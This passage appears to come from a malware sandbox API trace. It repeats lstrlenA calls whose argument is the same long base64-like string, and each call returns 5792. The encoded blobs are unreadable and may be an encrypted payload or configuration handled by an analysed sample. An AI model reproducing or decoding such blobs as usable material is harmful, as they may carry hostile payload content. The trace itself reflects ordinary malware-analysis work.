MGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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